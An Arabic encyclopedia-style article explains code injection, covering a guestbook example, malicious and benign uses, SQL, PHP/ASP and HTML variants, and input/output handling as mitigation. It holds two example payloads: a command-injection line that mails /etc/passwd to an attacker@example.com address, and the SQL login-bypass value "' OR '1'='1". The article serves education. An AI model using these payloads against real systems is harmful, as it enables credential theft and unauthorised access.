حقن النصوص البرمجية
حقن النصوص البرمجية (بالإنجليزية: Code Injection) هي من إحدى الطرق لإيصال أو حقن الجمل البرمجية إلى برنامج أو نظام ما، مستفيداً من الافتراضات الخاطئة وغير المراقبة، التي يفترضها النظام متعلقاً بالإدخال الذي يتم لهذا النظام.[1][2][3] السبب الرئيسي للبرمجة بالحقن هو تجنب أو تعديل الوظيفة الأساسية للبرنامج، للوصول إلى ما يحتاجه المخترق، وإذا كانت الوظيفة هي حفظ أمان النظام، فإن النتائج ستكون كارثية.
جزء من سلسلة مقالات حول |
أمن المعلومات |
---|
بوابة أمن المعلومات |
مثال بسيط على البرمجة بالحقن
معظم خادمات الويب تحتوي على «دفتر الزوار» لكتابة بعض الملاحظات، وهو ما يستقبل عادة رسائل صغيرة من المستخدمين، والتي من المكن أن تكون: «لقد زرت الموقع.. وكان رائعاً جداً».. ولكن المخترق ومن خلال هذه التقنية يستطيع أن يصل إلى معلومات ما على الجهاز الخادم، وذلك بإضافته لبعض الجمل البرمجية في هذه المساحة، والتي من الممكن أن تكون هذه الجملة:
; cat /etc/passwd | email attacker@example.com #
والتي من خلالها سيبعث جهاز الخادم بالملف المدعو (passwd) إلى بريد المخترق، مزودةً بجميع كلمات السر الموجودة عند الجهاز الخادم، وهو ما سيُحدث مشاكل كثيرة لزائري هذا الموقع. أغلب هذا المشاكل تحدث مرتبطة بالافتراضات الخاطئة – كما ذكرنا سابقاً- عن الإدخالات المحتملة للنظام، أو تأثير بعض البيانات على هذا النظام. وبعض الأمثلة على هذه الافتراضات التي يقوم مطور النظام عند الإدخال للبرنامج هي:
- افتراضات متعلقة ببعض الأحرف والأرقام التي ليس لها معنى مباشر، وإنما تحتوي على معاني مميزة للبرامج الحاسوبية، ويفترض عندها المبرمج أنها لن تستخدم للإدخال، ولكن المخترقين لكون لهم رأي آخر.
- الافتراض بأن الأرقام فقط تستخدم للإدخال.
- الافتراض بأن حجم الإدخال لن يتجاوز الحجم المحدد الذي وضعه المبرمج.
- الافتراض بأنه من الصحيح أن يتم استخدام المؤشرات أو أدلة المصفوفات من خلال الصندوق المخصص للإدخال.
- الافتراض بأن القيم المحددة من قبل الخادم للمستخدم، لا يمكن تغييرها بواسطة الأخير. وهذا الافتراض يقود لأخطار أخرى إضافة لخطر البرمجة بالحقن.
استخدامات البرمجة بالحقن
أغراض تخريبية (Malevolent)
الاستخدام الأساسي لهذه التقنية عادة ما يكون تخريبياً، فقد تستخدم البرمجة بالحقن في أوساط الأنظمة التخريبية أو التدميرية للحصول على معلومات أو امتيازات محددة أو الدخول للأماكن غير المسموح بها في أنظمة معينة. كما يمكن أن تستخدم البرمجة بالحقن تخريبياً للوصول إلى:
- تغيير بعض القيم بطريقة اعتباطية في قواعد البيانات عبر إحدى أنواع هذه التقنية والتي تدعى بـ (SQL Injection)، وتأثير هذا التخريب يتراوح بين تشويه المعلومات على الموقع، إلى الإطلاع على بعض المعلومات الحساسة.
- سرقة بعض المعلومات المخزنة على المواقع في الكعكات، من خلال لغات برمجة مثل HTML ، ويتم هذا خلال نوع مشهور من التخريب وهو البرمجة عبر المواقع.
- تنزيل بعض البرامج أو تنفيذ بعض الجمل البرمجية التخريبية على الخادم الرئيسي للموقع عير لغات برمجة مثل ASP وPHP.
أغراض غير تخريبية (Benevolent)
يمكن أن تستخدم هذا التقنية لأغراض خيرة، كأن يحاول مستخدم ما تعديل البرنامج وإضافة بعض الجمل إليه لتحسين أدائه وفعاليته، وخلال هذا الفعل فهو يساعد هذا النظام على تحسين نفسه بدون إيذاء أحد. ومن الأمثلة على ذلك إضافة عمود إلى صفحة نتائج البحث لم يكن موجوداً قبلاَ، ولكنه بذلك يوفر الكثير من الوقت والعمل. أو تنظيم البيانات أو تحسينها أو جمعها عبر حقل جديد لا يظهر علناً على الموقع. ويلجأ المستخدم عادةً لهذه التقنية لأحد الأسباب التالية:
- تعديل المنتج بالشكل المطلوب غير ممكن.
- تعديل المنتج مكلف بشكل يتجاوز الإمكانات المادية المتوفرة.
- تعديل المنتج يؤثر على أمور أخرى حساسة.
ولكن هذا الاستخدام لهذه التقنية مستنكر بشكل شديد في أوساط المبرمجين عامة، وما يزال يدعى بالاختراق أو الهجوم. لكن بعض البرمجيات تسمح أو حتى تحفز هذا النوع من البرمجة بالحقن لتحسين منتجاتهم، ويعزى هذا عادةً لكون هذه الطريقة هي أقل كلفة لتحسين المنتج بدلاً من شراء منتجات أخرى جديدة. وبشكل عام يبقى هذا الاستخدام لهذه التقنية غير مشجع.
استخدام غير متعمد
يمكن لبعض المستخدمين العاديين القيام بالبرمجة بالحقن بدون علمهم، من خلال قيامهم بإدخال بيانات لم يتم اعتبارها ممكنة الاستخدام من قبل مستخدمين عاديين من قِبل الذي طوروا النظام من البداية. فمثلاً:
بعض أنواع البرمجة بالحقن
- SQL: يستفيد المخربين هنا من طريقة عمل هذه اللغة لحقن بعض الجمل البرمجية التي تهدف إلى قراءة أو تغيير بعض من قاعدة البيانات، أو لتغيير الهدف الرئيسي من بعض وظائف النظام. ومثال على ذلك، هي المعلومات للدخول إلى أي نظام والتي تتطلب اسم المستخدم وكلمة السر، وهناك يستطيع المخرب إدخال " password' OR '1'='1" مما يمكن المخرب بالدخول للنظام من دون أي كلمة سر.
- PHP وASP: يتمكن المخرب بهما من لإيصال الجمل البرمجية إلى جهاز الخادم مباشرة، وهنا عادة ما يستفيد المخربون من نقاط الضعف الموجودة على جهاز الخادم نفسه.
- HTML: وهنا يكون عمل المخرب من خلال ما يدعى بـ«البرمجة عبر الموقع»، وهو ما يمكن المخرب من إدخال الجمل البرمجية من خلال مواقع الإنترنت، وهناك نوعان من هذا الهجوم: متغير ولا يؤثر على جهاز الخادم، وثابت وهو الذي يغير البيانات على جهاز الخادم ذاته.
الحد من مشكلة البرمجة بالحقن
للحد من البرمجة بالحقن، يتم إرفاق ما يدعى «معالجة آمنة لنظم الإدخال والإخراج» (Secure input and output handling)، التي تراقب كل ما يتم إدخاله إلى النظام وكل ما ينتج عنه.
انظر أيضاً
مراجع
- "Analysis of the Joomla PHP Object Injection Vulnerability"، مؤرشف من الأصل في 21 مارس 2016، اطلع عليه بتاريخ 06 يونيو 2014.
- "OWASP Top 10 2013 A1: Injection Flaws"، OWASP، مؤرشف من الأصل في 30 يونيو 2018، اطلع عليه بتاريخ 19 ديسمبر 2013.
- "Top 10 Web Application Security Vulnerabilities"، Penn Computing، University Of Pennsylvania، مؤرشف من الأصل في 25 أغسطس 2017، اطلع عليه بتاريخ 10 ديسمبر 2016.
- بوابة تقنية المعلومات
- بوابة أمن المعلومات